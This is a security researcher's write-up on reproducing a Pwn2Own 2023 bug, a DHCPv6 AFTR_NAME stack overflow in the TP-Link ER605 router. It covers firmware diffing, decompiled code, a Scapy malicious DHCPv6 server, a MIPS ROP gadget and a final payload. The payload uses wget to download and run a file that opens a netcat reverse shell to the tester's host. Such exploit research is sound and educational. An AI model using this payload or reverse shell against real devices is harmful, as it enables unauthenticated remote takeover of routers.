Introduction

Last year we participated in the Pwn2Own 2023 Toronto competition and successfully exploited the Synology BC500 camera.

The competition featured a wide range of targets, including popular routers in the SOHO (Small Office/Home Office) Smashup category. This category consists of two stages. An initial stage, where you have to compromise a router on the WAN side, and a second stage where you pivot to one of the other targets (e.g. the Synology BC500 camera) in the LAN. Finding two exploits and chaining them together is challenging but significantly increases the bounty payout.

Once we had an exploitable bug for the Synology camera, we decided to try to participate in the SOHO Smashup category and bought the TP-Link Omada Gigabit VPN Router ER605 (TL-R605) V2 router. But, finalizing the camera exploit took more time than we hoped, thus due to time constraints, we were unable to thoroughly examine the TP-Link router before the event.

However, the DEVCORE Internship Program team managed to exploit a bug in the TP link router during Pwn2Own. So I was naturally curious and wanted to figure out how difficult it would be to recreate that exploit having access only to a high-level bug description and the firmware.

Patch Diffing Process

Extract Binaries

To start off, I read the ZDI advisory for the discovered weakness: https://www.zerodayinitiative.com/advisories/ZDI-24-085/

Title: (Pwn2Own) TP-Link Omada ER605 DHCPv6 Client Options Stack-based Buffer Overflow Remote Code Execution Vulnerability

Vulnerability Details:
The specific flaw exists within the handling of DHCP options. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root.

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Omada ER605 routers. Authentication is not required to exploit this vulnerability.

This provides first valuable information. It describes that no authentication is required to exploit this bug. It also mentions that a stack buffer overflow occurs when handing DHCP options and finally, the title mentions that the vulnerability is in the DHCPv6 client.

The advisory also mentions that the bug was fixed in firmware version ER605(UN)_V2_2.2.4 Build 20240119. Armed with this information, we can start the patch diffing process.

The first step is to download the two firmware versions we want to diff. Luckily, the firmware can be downloaded directly from the TP-link website: https://www.tp-link.com/en/support/download/er605/#Firmware

From the advisory, we know that in version ER605(UN)_V2_2.2.4 Build 20240119 the bug was fixed. There exists a version 2.2.3 that was released in December, so after the Pwn2Own competition. I ignored this version and instead downloaded version ER605(UN)_V2_2.2.2 Build 20231017 that was released just a few days prior to Pwn2Own.

The downloaded ZIP file contains a license and a .bin file:

$ unzip ER605\(UN\)_v2_2.2.4\ Build\ 20240119.zip 
Archive:  ER605(UN)_v2_2.2.4 Build 20240119.zip
  inflating: ER605v2_un_2.2.4_20240119-rel44368_up_2024-01-19_12.21.20.bin  
  inflating: GPL License Terms.pdf

I used unblob to analyze and extract the .bin file:

$ ls ER605v2_un_2.2.2_20231017-rel68869_up_2023-10-17_19.23.22.bin_extract
0-594735.unknown  20879997-21238478.unknown  2438047-2495051.unknown  2495051-20879997.squashfs_v4_le  _2495051-20879997.squashfs_v4_le.extracted  594735-2438047.lzma_extract

The extraction is not perfect but reveals that there is a squashfs embedded in the .bin file. Using binwalk, the squashfs can be extracted:

$ binwalk -eM 2495051-20879997.squashfs_v4_le
$ ls _2495051-20879997.squashfs_v4_le.extracted/squashfs-root
bin  dev  etc  lib  mnt  overlay  proc  rom  root  sbin  sys  tmp  usr  var  www

After doing this for both firmware versions, we now can retrieve both the vulnerable and patched DHCPv6 client binaries. The DHCPv6 client binary is called `dhcp6c` and located at /usr/sbin/dhcp6c.

BinDiff

To compare the two binaries, I used BinDiff (https://www.zynamics.com/bindiff.html). BinDiff is a tool designed to compare binary files and highlight the differences between them. It integrates with multiple disassemblers and shows where code changed between two versions of the binary.

The result of comparing the two dhcp6c binaries looks like this:

We can see that functions sub_404364 and sub 405F08 changed while the rest of the code stayed the same. Thus, I started analyzing those two functions to see what changed. The diagram below shows that function sub_404364 added some checks around the vsprintf call.

The disassembly from BinDiff is not perfect but when looking at the decompilation it becomes clear, that the vsprintf has been replaced by a vsnprintf.

The code in the new version:

int __fastcall sub_404364(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  char v9[4096]; // [sp+18h] [-1010h] BYREF
  int *v10; // [sp+1018h] [-10h]

  a6 = a2;
  a7 = a3;
  a8 = a4;
  v10 = &a6;
  vsnprintf(v9, 0x1000, a1);
  return sub_4042FC(v9);
}

The code in the old version:

int __fastcall sub_404364(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  char v9[4096]; // [sp+18h] [-1010h] BYREF
  int *v10; // [sp+1018h] [-10h]

  a6 = a2;
  a7 = a3;
  a8 = a4;
  v10 = &a6;
  vsprintf(v9, a1);
  return 4042FC ((int)v9);
}

But then this function is never called by anyone. Thus, this probably is not the function that was exploited. Interesting though is that vsprintf was replaced by a vsnprintf in sub_404364, but in the parent function there still remains a vsprintf call with potentially untrusted input. This looks like a partial fix in some testing functionality.

As sub_404364 is not interesting, hopefully sub 405F08 will reveal the original bug.

The function is large and BinDiff thus fails to display the differences. Thus, it took some manual effort to compare the disassembly and decompilation. This function consists of a large switch statement. After some reversing, I discovered that there was a change introduced in case 0x40.

In the vulnerable binary, the code looks like this:

case 0x40:
        if ( v61 )
        {
          v65 = (const char *)(a3 + 0xE8);
          if ( a3 != 0xFFFFFF18 )
          {
            if ( v4 )
            {
              v60 = (unsigned __int8 *)(char)v60[4];
              v64 = 1;
              v62 = 0;
              while ( v60 )
              {
                if ( v61 < (int)v60 )
                  break;
                memcpy(&v65[v62], v4 + v64, v60);
                v15 = (const char *)&v60[v64];
                if ( (int)&v60[v64] >= v61 )
                  break;
                v16 = &v60[v62];
                v64 = (int)(v15 + 1);
                v60 = (unsigned __int8 *)v15[v4];
                v62 = (int)(v16 + 1);
                v16[(_DWORD)v65] = '.';
              }
            }
          }
        }
        goto LABEL_106;

In the updated binary a check was added to ensure that v61 is smaller than 0x40. The variable v61 is then used as size argument to memcpy. This looks very interesting.

case 0x40:
        if ( !v62 )
          goto LABEL_110;
        v66 = (const char *)(a3 + 0xE8);
        if ( a3 == 0xFFFFFF18 || !v4 )
          goto LABEL_110;
        v61 = (unsigned __int8 *)(char)v61[4];
        v65 = 1;
        v63 = 0;
        while ( 1 )
        {
          if ( !v61 )
            goto LABEL_110;
          if ( (int)v61 < 0 || v62 < (int)v61 || (int)v61 >= 0x40 - v63 )
            break;
          memcpy(&v66[v63], v4 + v65, v61);
          v16 = (const char *)&v61[v65];
          if ( (int)&v61[v65] >= v62 )
            goto LABEL_110;
          v17 = &v61[v63];
          v65 = (int)(v16 + 1);
          v61 = (unsigned __int8 *)v16[v4];
          v63 = (int)(v17 + 1);
          v17[(_DWORD)v66] = 0x2E;
        }
        sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");
        goto LABEL_110;

Additionally, the error message reveals that the check is to verify that tlen is not larger than DHCP6_AFTRNAME_SIZE.

We recall from the vulnerability description that the overflow occurs when handling a DHCPv6 option. AFTR_NAME is such an option: https://www.iana.org/assignments/dhcpv6-parameters/dhcpv6-parameters.xhtml

The documentation links to the corresponding RFC: https://www.rfc-editor.org/rfc/rfc6334.html where the option is described as:

This document specifies a DHCPv6 option that is meant to be used by a Dual-Stack Lite Basic Bridging BroadBand (B4) element to discover the IPv6 address of its corresponding Address Family Transition Router(AFTR).

At this point I was very confident that this is where the buffer overflow in the vulnerable binary occurred.

Before reversing how exactly the function works, let’s check some of the strings in the binary against open-source libraries. Quite often, open-source libraries are used in IoT software.

Pretty quickly I discovered the WIDE dhcp6c project (https://sourceforge.net/projects/wide-dhcpv6/files/) and the OPENsense project that is based on it (https://github.com/opnsense/dhcp6c). Those projecets share a lot of similarities with the binary we are analyzing. I will reference them to help with the reversing process, even if they might not 100% contain the same code as the TP-Link target.

Especially interesting is the dhcp6_get_options() method: Github Link

This method looks almost identical to the decompilation of sub 405F08, except that it does not contain a case 0x40 for the AFTR_NAME option. My theory at this point was that the opensense dhcp6c open-source project was used as baseline and the AFTR_NAME dhcp6 option was added by the developers.

At this point I was reasonably confident that this was the root cause of the described issue. Thus, I started to write a PoC to hopefully crash the dhcp6c binary on the TL-Link router.

Exploit Development

Before writing a PoC or exploit, I like to check the security mitigations in place:

$ checksec dhcp6c:
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Luckily for us, PIE and stack canaries are disabled. This will make exploitations a lot easier once we can hijack the control flow.

But before even thinking about writing an exploit, it is important to have an environment where we can observe and debug the target binary. As seen above, the binary is compiled for mips-32-little endian. This means we cannot run it on our laptop directly but would have to emulate it. The problem with emulation is that we would have to forward the DHCP messages to the target. There is most certainly a way to do it, but I opted for another (easier) route instead.

During the analysis of the router for Pwn2Own, my coworkers discovered an authenticated command injection in the router. This allowed me to gain shell access to it. I could now observe crash logs and also upload a gdbserver binary compiled for mips-32.

As we are about to attack the dhcp6 client of the router, we need to have a dhcp6 server that can host our malicious code and that does not error when we send messages that do not adhere to the RFC. With this in mind, I opted to use Scapy as my DHCP6 server. Scapy does support dhcpv6 (https://scapy.readthedocs.io/en/latest/api/scapy.layers.dhcp6.html#) so I was confident that I could have a PoC up and running quickly.

Unfortunately, the DHCPv6 implementation of Scapy does not implement all DHCPv6 features. The DHCPv6_am class, responsible to parse the options, only implements a few of them. Thus, I had to extend Scapy to also support the AFTR_NAME option. Adding the additional option is not too difficult by extending the already existing options parsing code. After having implemented the additional option, I encountered a few bugs in the DHCPv6 handshake code that had to be fixed, but finally I could start my own DHCPv6 server.

The final code looked something like this:

class DHCP6OptAftr(_DHCP6OptGuessPayload): # RFC3898
  name = "DHCP6 Option - AFTR Name"
  fields_desc = [ShortEnumField("optcode", 64, dhcp6opts),
  FieldLenField("optlen", None, length_of="tunnelendpoint"),
  StrFixedLenField("tunnelendpoint", payload,
  len(payload))]

[…CUT…]

server6 = DHCPv6_am(aftrname=aftrname, dns='2001:500::1035', domain='localdomain, local', startip='2001:db8::1', endip='2001:db8::20', iface="enp0s31f6", debug=1, advpref=255)

Before using the malicious server, some configurations had to be done on the router.



Then I had to analyze how the
dhcp6c binary is actually started by the router, so that I can later start it myself
with gdbserver for easier analysis:

$ ps w | grep dhcp6c
20257 root      2588 S    /usr/sbin/dhcp6c -f -c /tmp/dhcp6c/dhcp6c.wan1_v6.conf -p /tmp/dhcp6c/dhcp6c.wan1_v6.pid -v 11863,ER605 -
$ cat /proc/20257/cmdline
/usr/sbin/dhcp6c-f-c/tmp/dhcp6c/dhcp6c.wan1_v6.conf-p/tmp/dhcp6c/dhcp6c.wan1_v6.pid-v11863,ER605-twan1_v6-ueth1.4094eth1.4094@WAN1/tmp

With this know-how I could finally start dhcp6c with `gdbserver` to analyze how our PoC will fare:

# /tmp/gdbserver localhost:2000 /usr/sbin/dhcp6c -dDf -c /tmp/dhcp6c.wan1_v6.conf -v 11863,ER605 -t wan1_v6-ueth1.4094 eth1.4094@WAN1

I set the following payload in my custom AFTR_OPTIONS field in the Scapy DHCPv6 server:

payload = b"A"*600

I attached to the gdbserver using the following command:

gdb-multiarch -ex "target remote 192.168.0.1:2000" -ex "c"

In the terminal that is running the DHCPv6 server we can then observe that the different DHCP messages are exchanged.

p: DHCP6_Solicit / DHCP6OptClientId / DHCP6OptVendorClass / DHCP6OptIA_NA / DHCP6OptElapsedTime / DHCP6OptOptReq
resp1: IPv6 / UDP fe80::aed2:db6:9ce3:9e5a:dhcpv6_server > fe80::5291:e3ff:fe2a:d163:dhcpv6_client / DHCP6_Advertise / DHCP6OptServerId / DHCP6OptClientId
Sent Advertise answering to Solicit from fe80::5291:e3ff:fe2a:d163 [50:91:e3:2a:d1:63]
Request received, DHCP6_Request / DHCP6OptClientId / DHCP6OptServerId / DHCP6OptVendorClass / DHCP6OptElapsedTime / DHCP6OptOptReq
DHCP6OptDNSServers
DHCP6OptDNSDomains
DHCP6OptAftr
DHCP6OptAuth
Sent Reply answering to Request from fe80::5291:e3ff:fe2a:d163 [50:91:e3:2a:d1:63]

The same behavior can also be observed in Wireshark:

And finally, the provided payload reaches the dhcp6c binary and triggers a segfault in GDB. This looks promising but I hoped to directly see $pc control. Unfortunately, the program crashes when trying to execute lw v1, 8(v1). When looking at v1, we can see that it has been overwritten with AAA.. And thus, the loading of that invalid address causes the crash. The good news is that the payload causes the crash, the bad news is that it causes the crash in somewhere before the function return and thus the control flow cannot yet be hijacked.

So, it’s time to look at the decompilation and source code a little closer.

When looking at what buffer was probably overflown, we can see that it is v65, which is an offset into the buffer provided as the 3rd argument a3 to method dhcp6_get_options (sub_405F08).

unsigned int __fastcall sub_405F08(unsigned __int8 *a1, unsigned int a2, int a3)

[…CUT…]

case 0x40:
        if ( v61 )
        {
          v65 = (const char *)(a3 + 0xE8);
        […CUT…]
                memcpy(&v65[v62], v4 + v64, v60);
        […CUT…]

In the source code of the opensense Github project, we see that the method has the following signature:

Int dhcp6_get_options(p, ep, optinfo)

So, optinfo is provided as argument when calling dhcp6_get_options. This method is called from dhcp6c’s method static void client6_recv(void) (Github Link).

static void
client6_recv(void)
{
	char rbuf[BUFSIZ], cmsgbuf[BUFSIZ];
	struct msghdr mhdr;
	struct iovec iov;
	struct sockaddr_storage from;
	struct dhcp6_if *ifp;
	struct dhcp6opt *p, *ep;
	struct dhcp6_optinfo optinfo;
	ssize_t len;
	struct dhcp6 *dh6;
	struct cmsghdr *cm;
	struct in6_pktinfo *pi = NULL;
[…CUT…]

The optinfo buffer that is later passed on is initialized as a stack variable as shown above.

So, the reason why the program crashes without overwriting the return address is that the payload overwrote the stack variables located after optinfo. Especially the dh6 variable is used directly after the call to dhcp6_get_options. Therefore, if it is overwritten by the payload, the program will crash:

[…CUT…]
if (dhcp6_get_options(p, ep, &optinfo) < 0) {
		d_printf(LOG_INFO, FNAME, "failed to parse options");
		return;
	}

	switch(dh6->dh6_msgtype) {
[…CUT…]

Thus, we need a way to avoid this. If we look at the call, we see that the program immediately returns if dhcp6_get_options fails to properly parse an option. This is perfect. We can craft a payload to include an invalid option to directly trigger this case. This will make the function return without crashing. When returning, the saved return address is popped from the stack. As we overwrote this with our payload, we can now control the program counter $pc and start to hijack the program.

Therefore, the next step is to extend the DHCPv6 server to also send an invalid option, that will trigger this condition.

The option I choose for this was the DHCP6 OptAuth option. By providing a wrong FNAME (Github Link) the fail case can be triggered easily.

The Scapy code for this looks roughly as follows:

class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC 8415 sect 21.11
  name = "DHCP6 Option - Authentication"
  fields_desc = [ShortEnumField("optcode", 11, dhcp6opts),
  FieldLenField("optlen", None, length_of="authinfo",
  fmt="!H", adjust=lambda pkt, x: x + 11),
  ByteEnumField("proto", 3, _dhcp6_auth_proto),
  ByteEnumField("alg", 1, _dhcp6_auth_alg),
  ByteEnumField("rdm", 0, _dhcp6_auth_rdm),
  StrFixedLenField("replay", b"\x00" * 8, 8),
  StrLenField("authinfo", "",
  length_from=lambda pkt: pkt.optlen - 12)

Now we only need to make sure to send an invalid OptAuth option after the AFTR_NAME option. The first option will overflow the buffer, the second option will cause the program to directly return without crashing, allowing us to control $pc.

With the added option, I once again started the dhcp6c binary with the gdbserver. Shortly after, GDB shows the following segfault:

Jackpot! We managed to overwrite the $pc with the user provided data. The next steps are straight forward. We need to find the offset in the payload that ends up in $pc and then craft a ROP chain from there.

To find the offset I simply replaced the long string of A’s with an acyclic de Bruijn sequence:

g = cyclic_gen()
payload = cg.get(600)

Then I restarted the dhcp6c binary, and after the crash, I could look up the value in GDB to determine the padding needed to control $pc:

$pc         : 0x67656161 ('aaeg'?)

gef> pattern search 0x67656161---- As value (without dereference) -----
[+] Searching b'aaeg'
[+] Found at offset 421 (0x1a5)

Therefore, we need a padding of 421 bytes, before overwriting the return address and thus controlling the program counter. With this, we can move on to writing a ROP chain to gain code execution.

ROP Chain

This was my first time writing a ROP chain for MIPS and I first had to read up a bit about how MIPS work internally.

The following writeup was of great help to understand the concept: https://ctftime.org/writeup/22613

To summarize, MIPS mostly has 2 types of gadgets. In MIPS, the return address is stored in the $ra register. Thus, gadgets ending in pop $ra, ret can be used. Additionally, the $r9 temporary register is often used for jumps, thus gadgets of the form pop $r9, jr $r9 are also useful.

One peculiarity of MIPS is the so-called branch delay slots. Those are instructions placed after a branch or jump. Those instructions will be executed before the branch/call is performed. This takes some time to get used to when looking for gadgets. Each time a call/jump is performed, we need to look at the next instruction as well. This can mess up the gadget or actually provide a crucial instruction to make a gadget usable.

To find gadgets, I started by using my usual tools like ropr and ROPGadget, but both failed to find useful gadgets. I also discovered some Ghidra scripts (https://github.com/grayhatacademy/ghidra_scripts) that can help finding gadgets, but those were mostly useless in our case as well.

In the end I just used regex search and a lot of time to look for useful gadgets. My goal was to find gadgets that would move the value on the stack (our payload) into the first argument of a function call ($v0) and then call/jump to an arbitrary address (system). This would allow me to call system with arguments provided in the overflow payload.

After trying to find a combination of gadgets that would allow me to execute arbitrary commands, I finally found the perfect one located at 0x40437b. The gadget is located in sub_404364. The function will prepare a command string and pass it to a wrapper around execve("/bin/sh",..,..);.

int __fastcall sub_404364(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
{
  char v9[4096]; // [sp+18h] [-1010h] BYREF
  int *v10; // [sp+1018h] [-10h]

  a6 = a2;
  a7 = a3;
  a8 = a4;
  v10 = &a6;
  vsprintf(v9, a1);
  return exec_command((int)v9);
}

The attentive reader might have realized that this is the other function that was changed by the patch and that was analyzed initially.

Now that we had found the perfect gadget, it was time to craft the final exploit.

The next iteration of the payload looked as follows. The idea is to call system and observe what part of the following string is getting executed. This is done to identify at what offset in the payload the command we want to execute must be placed.

exec_cmd = binary_base+0x0437b
payload = b"A"*421+p32(exec_cmd)+b"CCCC"+b"DDDD"+b"EEEE"+b"FFFF"+b"GGGG"+b"HHHH"+b"IIII"+b"JJJJ"+b"KKKK"

When running the new exploit against the dhcp6c binary, we observe the following output:

$ /tmp/gdbserver2 localhost:2000 /usr/sbin/dhcp6c -dDf -c /tmp/dhcp6c.wan1_v6.conf -v 11863,ER605 -t wan1_v6-ueth1.4094 eth1.4094@WAN”

Jan/01/2018 03:19:58: client6_recv: failed to parse options
Detaching from process 32462
sh: IIIIJJJJKKKK: not found

So, we are able to call system and the string starting at offset “IIII” will be the command that is being executed.

At this point I was ready to celebrate but there was one more obstacle to overcome. But I did not know this, so I crafted the following payload to be executed next:

cmd = b'ls; wget http://192.168.0.100:8000/x -O /x; chmod +x /x; /x'
exec_cmd = binary_base+0x0437b
payload = b"A"*421+p32(exec_cmd)+b"CCCC"+b"DDDD"+b"EEEE"+b"FFFF"+b"GGGG"+b"HHHH"+cmd

This payload should download and execute the file “x” from my server, make the file executable and run it. Unfortunately, when triggering the exploit, I observed the following output form the dhcp6c binary:

wget: not an http or ftp url: http.//192.168.0.100:8000/x

If you pay close attention to the error message, you noticed that http:// was replaced by http.//. After some investigation, I looked back at the AFTR_OPTIONS implementation:

case 0x40:
  if ( !v62 )
    goto LABEL_110;
  v66 = (const char *)(a3 + 0xE8);
  if ( a3 == 0xFFFFFF18 || !v4 )
    goto LABEL_110;
  v61 = (unsigned __int8 *)(char)v61[4];
  v65 = 1;
  v63 = 0;
  while ( 1 )
  {
    if ( !v61 )
      goto LABEL_110;
    if ( (int)v61 < 0 || v62 < (int)v61 || (int)v61 >= 0x40 - v63 )
      break;
    memcpy(&v66[v63], v4 + v65, v61);
    v16 = (const char *)&v61[v65];
    if ( (int)&v61[v65] >= v62 )
      goto LABEL_110;
    v17 = &v61[v63];
    v65 = (int)(v16 + 1);
    v61 = (unsigned __int8 *)v16[v4];
    v63 = (int)(v17 + 1);
    v17[(_DWORD)v66] = '.';
  }
  sub_4043BC(6, "getAftrName", "tlen is more than DHCP6_AFTRNAME_SIZE");
  goto LABEL_110;

As can be seen, every 65th character is replaced by a .. This is done so that the AFTR_NAME conforms with how a DNS name looks like.

This is a bit annoying but pretty easy to work around. We just have to put dummy commands to where the . will be placed to not mess up the actual payload.

The final payload I came up with was this:

cmd = b'ls ; echo http.;wget http://192.168.0.100:8000/x -O /x; ls ..;chmod +x /x; /x'
exec_cmd = binary_base+0x0437b
payload = b"A"*421+p32(exec_cmd)+b"CCCC"+b"DDDD"+b"EEEE"+b"FFFF"+b"GGGG"+b"HHHH"+cmd

The echo and ls command are there for padding only, so that the actual command can successfully be executed.

The x file that is downloaded and executed contains a simple reverse shell:

$ cat x
rm /f; mknod /f p;cat /f|/bin/ash -i 3>&1|nc 192.168.0.100 9999 >/f;

Shortly after running the modified exploit, I successfully received a reverse shell from the router!

Conclusion

So why did I decide to analyze a known vulnerability and write a PoC exploit for it and what did I learn?

Well, I started off with this because I was curious how difficult it would have been to find and exploit this weakness in the router that we bought for Pwn2Own. Finding it would definitely have taken a fair amount of time, but writing the exploit is fairly easy as most modern protections were disabled.

The whole process to discover, analyze the vulnerability, and craft a working exploit took me roughly 3 days. In this time, I could leverage the information of the advisory and BinDiff to quickly identify the vulnerable code. Afterwards, it took some time to create a DHCPv6 server that allows sending arbitrary commands that do not conform to the standard.

Finally, it took me roughly one day to learn about MIPS, how to best find ROP gadgets, and finally how to write a ROP chain in MIPS.

The main takeaway for me is the following: If writing this exploit only took me a few days while I still needed to learn quite a few new techniques, this means that a threat actor who is specialized in weaponizing 1-days could probably create this exploit in a few hours.

Thus, I want to highlight to companies and also individuals how important it is to patch exposed systems quickly. If you wait a few weeks or months before applying a security patch, chances are that a malicious actor will have created an exploit and is using it to compromise systems, even if the exploit code is not publicly available.